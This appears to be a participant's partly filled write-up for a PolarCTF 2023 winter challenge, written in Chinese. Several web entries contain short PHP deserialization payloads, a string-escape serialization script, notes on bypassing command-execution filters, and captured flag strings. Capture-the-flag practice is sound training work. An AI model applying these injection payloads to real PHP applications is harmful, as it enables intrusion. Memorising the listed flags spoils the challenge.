

**PolarCTF网络安全2023冬季个人挑战赛**

**WRITE UP**

|  |  |
| --- | --- |
| **参赛人员：** | **楚颖i** |

**PolarCTF网络安全个人挑战赛组委会 制**

说明:

1.按住ctrl并单击目录中相应题目名称即可跳转至对应题目，若题目没有作答请不要删除答题框。

2.正文文字使用“仿宋四号”字体、1.5倍行间距，图片居中。截图体现重点，全文在逻辑清晰、易读的前提下，保持美观。

**3.如有发现参赛人员WRITE UP雷同，将扣除所有涉及人员该题的分数。**

4.WP要求必须按主办方提供的模板进行撰写，并于2023 年 12 月 9 日 24:00前提交到邮箱polarctf@163.com，邮件主题格式“2023冬季赛#ID#WriteUP”。

建议格式：

|  |
| --- |
| 本题思路如下：  XXXXXXXXXXXXXX，如图所示：    XXXXXXXXXXXXXX…… |

目录

[第一部分：MISC 1](#_Toc19759)

[1-1 签到喵 1](#_Toc18746)

[1-2 A 宽宽 S 00 E 2](#_Toc17929)

[1-3 是uu吗 3](#_Toc4861)

[1-4 机密 4](#_Toc24430)

[1-5 EZ签到 5](#_Toc10208)

[1-6 社会主义大法好 6](#_Toc11819)

[第二部分：CRYPTO 7](#_Toc410)

[2-1 神秘组织M 7](#_Toc1224)

[2-2 数星星 8](#_Toc12667)

[2-3 不一样的四四方方 9](#_Toc15516)

[2-4 我爱456 10](#_Toc3001)

[2-5 base 11](#_Toc8280)

[2-6 AFF 12](#_Toc8777)

[第三部分：WEB 13](#_Toc19449)

[3-1 cool 13](#_Toc13200)

[3-2 cookie欺骗 14](#_Toc13638)

[3-3 upload 15](#_Toc4962)

[3-4 干正则 16](#_Toc26948)

[3-5 ezphp 17](#_Toc2345)

[3-6 你的马呢? 18](#_Toc11848)

[3-7 随机值 19](#_Toc13363)

[3-8 phpurl 20](#_Toc30602)

[3-9 CB链 21](#_Toc20336)

[3-10 你想逃也逃不掉 22](#_Toc15977)

[3-11 safe\_include 23](#_Toc14381)

[3-12 苦海 24](#_Toc14019)

[第四部分：REVERSE 25](#_Toc30603)

[4-1 easyre1 25](#_Toc16138)

[4-2 babyRe 26](#_Toc19646)

[4-3 二层防御 27](#_Toc12794)

[4-4 PY\_RE 28](#_Toc26217)

[4-5 CRe 29](#_Toc12070)

[4-6 EasyRust 30](#_Toc11137)

[第五部分：PWN 31](#_Toc22702)

[5-1 like\_it 31](#_Toc14494)

[5-2 shellcode1 32](#_Toc14298)

[5-3 guess 33](#_Toc7346)

[5-4 look 34](#_Toc18295)

[5-5 easy\_exit 35](#_Toc30830)

[5-6 worker 36](#_Toc23076)

[5-7 fate 37](#_Toc32228)

[5-8 worker\_note1 38](#_Toc1005)

[5-9 easy\_str 39](#_Toc31271)

[5-10 05ret2libc\_64 40](#_Toc10731)

## 第一部分：MISC

### 1-1 签到喵

|  |
| --- |
| 本题思路如下：  Flag.txt  兽音译者解密    跑脚本，扫一扫，发送，拿下flag{www.PolarCTF.com} |

### 1-2 A 宽宽 S 00 E

|  |
| --- |
| 本题思路如下： |

### 1-3 是uu吗

|  |
| --- |
| 本题思路如下： |

### 1-4 机密

|  |
| --- |
| 本题思路如下：  经典搜flag起手    追踪流，发现有个rar文件，找    提取rar文件，爆破一下    flag{d72e5a671aa50fa5f400e5d10eedeaa5} |

### 1-5 EZ签到

|  |
| --- |
| 本题思路如下： |

### 1-6 社会主义大法好

|  |
| --- |
| 本题思路如下：  U2FsdGVkX18hXTEdmaHlK9Wa0JuJu4UApkMzMe69xXg8yBK0Fw5q4HtQ5+qK6BCB  +WkHQDiIxks= |

## 第二部分：CRYPTO

### 2-1 神秘组织M

|  |
| --- |
| 本题思路如下： |

### 2-2 数星星

|  |
| --- |
| 本题思路如下： |

### 2-3 不一样的四四方方

|  |
| --- |
| 本题思路如下： |

### 2-4 我爱456

|  |
| --- |
| 本题思路如下： |

### 2-5 base

|  |
| --- |
| 本题思路如下：  见过类似题 |

### 2-6 AFF

|  |
| --- |
| 本题思路如下： |

## 第三部分：WEB

### 3-1 cool

|  |
| --- |
| 本题思路如下：    eval命令执行，过滤system，用passthru，先ls，看到当前目录有flag.php，命令执行\*匹配  flag{4512esfgsdIirhgui82545er4g5e5rg4er1} |

### 3-2 cookie欺骗

|  |
| --- |
| 本题思路如下：  没啥好说，cookie伪造 |

### 3-3 upload

|  |
| --- |
| 本题思路如下： |

### 3-4 干正则

|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 本题思路如下：  审计源码，有个parse\_str变量覆盖，之后就是命令执行      经典ctrl u   |  |  | | --- | --- | |  | www.polarctf.com<pre><?php | |  | $flag = "flag{e44882416c9fa79cc5a6a51e6e19cdbc}"; | |  | ?> | |  | </pre> | |

### 3-5 ezphp

|  |
| --- |
| 本题思路如下： |

### 3-6 你的马呢?

|  |
| --- |
| 本题思路如下： |

### 3-7 随机值

|  |
| --- |
| 本题思路如下：  审计发现只要反序列化出的变量和服务器rand函数后的值一样，过两层rand，原本是想着服务器的rand可能每次随机都是那个值，当在自己phpstorm执行发现好像不一样，就想着bp抓包后一直爆同一个随机数，迟早能出来，然后先在phpstorm中先开成员变量权限，输出反序列化字符串，结果无缘无故就结束了。  <?php class Index{ // private $Polar1; // private $Polar2; // protected $Night; // protected $Light;  public $Polar1;  public $Polar2;  public $Night;  public $Light;    function getflag($flag){  $Polar2 = rand(0,100);  if($this->Polar1 === $this->Polar2){  $Light = rand(0,100);  if($this->Night === $this->Light){  echo $flag;  }  }  else{  echo "Your wrong!!!";  }  } }  $a = new Index(); $a->Polar1=1; $a->Night=1; echo serialize($a);    Payload：sys=O:5:"Index":4:{s:6:"Polar1";i:1;s:6:"Polar2";N;s:5:"Night";i:1;s:5:"Light";N;}  flag{d81f9c1be2e08964bf9f24b15f0e4900} |

### 3-8 phpurl

|  |
| --- |
| 本题思路如下：  给的1.txt  在某次渗透测试中，红队使用网站目录探测工具发现网站源码泄漏，该文件名疑似名被加密：aW5kZXgucGhwcw。  题目是phpurl，phps是php的源码    审计源码，刚开始想着用0弱类型比较，发现出不来，不知道为什么。有个urldecode，可以二次编码绕过，在进入第一个xxs匹配时被服务器url解码一次，之后再解码一次成xxs  Welcome to polar LABS!  Flag: flag{5caecd63b7dca4bcee15d262eb3af4f4}  what can you find？ |

### 3-9 CB链

|  |
| --- |
| 本题思路如下： |

### 3-10 你想逃也逃不掉

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| 本题思路如下：  经典字符串逃逸，变少例子  <?php  class u{  public $username;  public $passwd;  public $sign; }  error\_reporting(0); highlight\_file(*\_\_FILE\_\_*); function filter($string){  return preg\_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string); } //$user['username'] = $\_POST['name']; //$user['passwd'] = $\_GET['passwd']; $user['sign'] = '123456';    $user = new u(); $user->username='phtmlphtmlphtmlphtml'; $user->passwd=';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}'; $user->sign="123456"; $ans = filter(serialize($user)); //if(unserialize($ans)[sign] == "ytyyds"){ // echo file\_get\_contents('flag.php'); //} echo serialize($user); echo $ans; echo '<br/>'; echo strlen('";s:6:"passwd";s:46:');    Ctrl u   |  | | --- | | <?php | |  | $flag = 'flag{84sgsg4s5d4e5fse3kj5451dssgsfd45}'; | |  | ?> | |

### 3-11 safe\_include

|  |
| --- |
| 本题思路如下： |

### 3-12 苦海

|  |
| --- |
| 本题思路如下： |

## 第四部分：REVERSE

### 4-1 easyre1

|  |
| --- |
| 本题思路如下： |

### 4-2 babyRe

|  |
| --- |
| 本题思路如下： |

### 4-3 二层防御

|  |
| --- |
| 本题思路如下： |

### 4-4 PY\_RE

|  |
| --- |
| 本题思路如下： |

### 4-5 CRe

|  |
| --- |
| 本题思路如下： |

### 4-6 EasyRust

|  |
| --- |
| 本题思路如下： |

## 第五部分：PWN

### 5-1 like\_it

|  |
| --- |
| 本题思路如下： |

### 5-2 shellcode1

|  |
| --- |
| 本题思路如下： |

### 5-3 guess

|  |
| --- |
| 本题思路如下： |

### 5-4 look

|  |
| --- |
| 本题思路如下： |

### 5-5 easy\_exit

|  |
| --- |
| 本题思路如下： |

### 5-6 worker

|  |
| --- |
| 本题思路如下： |

### 5-7 fate

|  |
| --- |
| 本题思路如下： |

### 5-8 worker\_note1

|  |
| --- |
| 本题思路如下： |

### 5-9 easy\_str

|  |
| --- |
| 本题思路如下： |

### 5-10 05ret2libc\_64

|  |
| --- |
| 本题思路如下： |